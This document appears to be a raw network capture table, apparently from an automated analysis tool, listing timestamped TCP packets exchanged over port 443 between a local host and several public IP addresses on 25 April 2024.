Apr 25, 2024 20:36:38.634246111 CEST	443	49736	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.635905981 CEST	49736	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.635921001 CEST	443	49736	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.636951923 CEST	443	49736	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.637638092 CEST	49736	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.637638092 CEST	49736	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.637787104 CEST	443	49736	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.694075108 CEST	49737	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.694132090 CEST	443	49737	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.694664955 CEST	49737	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.697910070 CEST	49737	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.697940111 CEST	443	49737	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.844140053 CEST	443	49736	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.844268084 CEST	49736	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.908332109 CEST	443	49736	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.908504963 CEST	443	49736	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.908620119 CEST	49736	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.919853926 CEST	49736	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.919866085 CEST	443	49736	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.923815966 CEST	443	49737	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.939532042 CEST	49737	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.939548016 CEST	443	49737	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.939924955 CEST	443	49737	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.940670013 CEST	49737	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.940670013 CEST	49737	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:38.940684080 CEST	443	49737	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:38.940736055 CEST	443	49737	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:39.149719000 CEST	49737	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:39.193753958 CEST	443	49737	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:39.193867922 CEST	443	49737	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:39.194075108 CEST	49737	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:39.220879078 CEST	49737	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:39.220912933 CEST	443	49737	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:39.769103050 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:39.769135952 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:39.769203901 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:39.774019957 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:39.774034023 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:39.805438042 CEST	49743	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:39.805459023 CEST	443	49743	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:39.805524111 CEST	49743	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:39.805946112 CEST	49743	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:39.805994034 CEST	443	49743	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.002933979 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.004344940 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.004364014 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.005384922 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.005762100 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.005903006 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.006222010 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.006345987 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.006417036 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.006479025 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.006515026 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.038583040 CEST	443	49743	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.038870096 CEST	49743	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.038885117 CEST	443	49743	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.040059090 CEST	443	49743	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.040891886 CEST	49743	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.041065931 CEST	443	49743	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.041182041 CEST	49743	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.084150076 CEST	443	49743	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.265697002 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.265754938 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.265790939 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.265799046 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.265824080 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.265866995 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.265873909 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.265999079 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.266035080 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.266041040 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.266073942 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.266102076 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.266108990 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.266120911 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.266163111 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.266170979 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.266315937 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.266357899 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.266364098 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.266910076 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.266948938 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.266957045 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.267110109 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.267148018 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.267155886 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.267333984 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.267376900 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.267383099 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.267508030 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.267540932 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.267548084 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.267731905 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.267777920 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.267782927 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.267980099 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.268016100 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.268023014 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.268197060 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.268233061 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.268239975 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.268518925 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.268558025 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.268954039 CEST	49741	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.268968105 CEST	443	49741	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.316437006 CEST	443	49743	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.316533089 CEST	443	49743	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.316582918 CEST	49743	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.344273090 CEST	49743	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.344302893 CEST	443	49743	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.525427103 CEST	49744	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.525476933 CEST	443	49744	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.526139021 CEST	49744	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.526438951 CEST	49744	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.526453018 CEST	443	49744	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.755763054 CEST	443	49744	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.758372068 CEST	49744	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.758404016 CEST	443	49744	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.758869886 CEST	443	49744	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.762572050 CEST	49744	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.762655020 CEST	443	49744	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:40.762917995 CEST	49744	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:40.808120012 CEST	443	49744	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:41.027559042 CEST	443	49744	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:41.027741909 CEST	443	49744	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:41.027837992 CEST	49744	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:41.028280973 CEST	49744	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:41.028302908 CEST	443	49744	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:47.359384060 CEST	49677	443	192.168.2.7	20.50.201.200
Apr 25, 2024 20:36:52.611891985 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:52.611942053 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:52.612032890 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:52.612333059 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:52.612345934 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:52.840688944 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:52.840996027 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:52.841010094 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:52.842216015 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:52.842602015 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:52.842777967 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:52.842782974 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:52.842860937 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:52.842886925 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:52.842959881 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:52.843020916 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.113890886 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.114114046 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.114207983 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.114267111 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.114284039 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.114326000 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.114331961 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.114531040 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.114582062 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.116756916 CEST	49745	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.116775990 CEST	443	49745	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.148504019 CEST	49746	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.148538113 CEST	443	49746	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.148639917 CEST	49746	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.149045944 CEST	49746	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.149060011 CEST	443	49746	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.156882048 CEST	49747	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.156919956 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.157011986 CEST	49747	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.157912970 CEST	49747	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.157927990 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.158508062 CEST	49748	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.158533096 CEST	443	49748	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.158715010 CEST	49748	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.158952951 CEST	49748	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.158966064 CEST	443	49748	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.378735065 CEST	443	49746	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.378999949 CEST	49746	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.379019022 CEST	443	49746	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.379307985 CEST	443	49746	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.379621029 CEST	49746	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.379677057 CEST	443	49746	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.379792929 CEST	49746	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.379810095 CEST	49746	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.379816055 CEST	443	49746	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.386276960 CEST	443	49748	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.386436939 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.386523008 CEST	49748	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.386547089 CEST	443	49748	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.386639118 CEST	49747	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.386698008 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.387010098 CEST	443	49748	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.387058973 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.387317896 CEST	49748	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.387417078 CEST	443	49748	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.387624979 CEST	49747	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.387712955 CEST	443	49747	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:53.387753963 CEST	49748	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.424134970 CEST	49746	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.432113886 CEST	443	49748	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.439898014 CEST	49747	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:53.659373045 CEST	443	49748	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.659451962 CEST	443	49748	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:53.659502029 CEST	49748	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.661482096 CEST	49748	443	192.168.2.7	104.17.3.184
Apr 25, 2024 20:36:53.661498070 CEST	443	49748	104.17.3.184	192.168.2.7
Apr 25, 2024 20:36:54.063003063 CEST	443	49746	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:54.063098907 CEST	443	49746	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:54.063221931 CEST	49746	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:54.065279961 CEST	49746	443	192.168.2.7	172.67.154.14
Apr 25, 2024 20:36:54.065299988 CEST	443	49746	172.67.154.14	192.168.2.7
Apr 25, 2024 20:36:54.477766991 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:54.477794886 CEST	443	49749	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:54.477942944 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:54.478214979 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:54.478229046 CEST	443	49749	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:54.766513109 CEST	443	49749	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:54.767750025 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:54.767777920 CEST	443	49749	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:54.768683910 CEST	443	49749	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:54.768750906 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:54.770149946 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:54.770210028 CEST	443	49749	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:54.770559072 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:54.770567894 CEST	443	49749	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:54.813055992 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.020714045 CEST	443	49749	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.020951986 CEST	443	49749	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.021015882 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.021392107 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.021413088 CEST	443	49749	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.021435022 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.021456957 CEST	49749	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.024120092 CEST	49750	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.024152994 CEST	443	49750	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.024235010 CEST	49750	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.024485111 CEST	49750	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.024497986 CEST	443	49750	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.299479961 CEST	443	49750	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.299809933 CEST	49750	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.299838066 CEST	443	49750	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.300324917 CEST	443	49750	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.300734043 CEST	49750	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.300820112 CEST	443	49750	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.301075935 CEST	49750	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.344119072 CEST	443	49750	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.632355928 CEST	443	49750	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.632833958 CEST	49750	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.632886887 CEST	443	49750	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.632945061 CEST	49750	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.635212898 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.635246992 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.635324955 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.635741949 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.635754108 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.913127899 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.913425922 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.913439035 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.917637110 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.917690992 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.918020010 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.918098927 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.918190002 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:55.918198109 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:55.968671083 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.262176037 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.262226105 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.262238979 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.262245893 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.262259007 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.262270927 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.262283087 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.262300014 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.262304068 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.262343884 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.262363911 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.262367010 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.262415886 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.262454987 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.263636112 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.263648987 CEST	443	49751	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.263659000 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.263696909 CEST	49751	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.268305063 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.268342018 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.268464088 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.268867016 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.268879890 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.541471958 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.541769981 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.541795015 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.548470020 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.549031019 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.549329996 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:56.552122116 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.552171946 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:56.594532013 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.087390900 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.087423086 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.087474108 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.087503910 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.087515116 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.087547064 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.087557077 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.087585926 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.087620020 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.087629080 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.087654114 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.087686062 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.087690115 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.087703943 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.087744951 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.090182066 CEST	49752	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.090193987 CEST	443	49752	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.111583948 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.111610889 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.111732960 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.112552881 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.112567902 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.382754087 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.383174896 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.383198977 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.383579969 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.384080887 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.384154081 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.384372950 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.384402990 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.827522039 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.827553988 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.827574015 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.827610016 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.827636003 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.827649117 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.827691078 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.827873945 CEST	443	49753	138.124.184.68	192.168.2.7
Apr 25, 2024 20:36:57.827935934 CEST	49753	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:36:57.828119993 CEST	443	49753	138.124.184.68	192.168.2.7
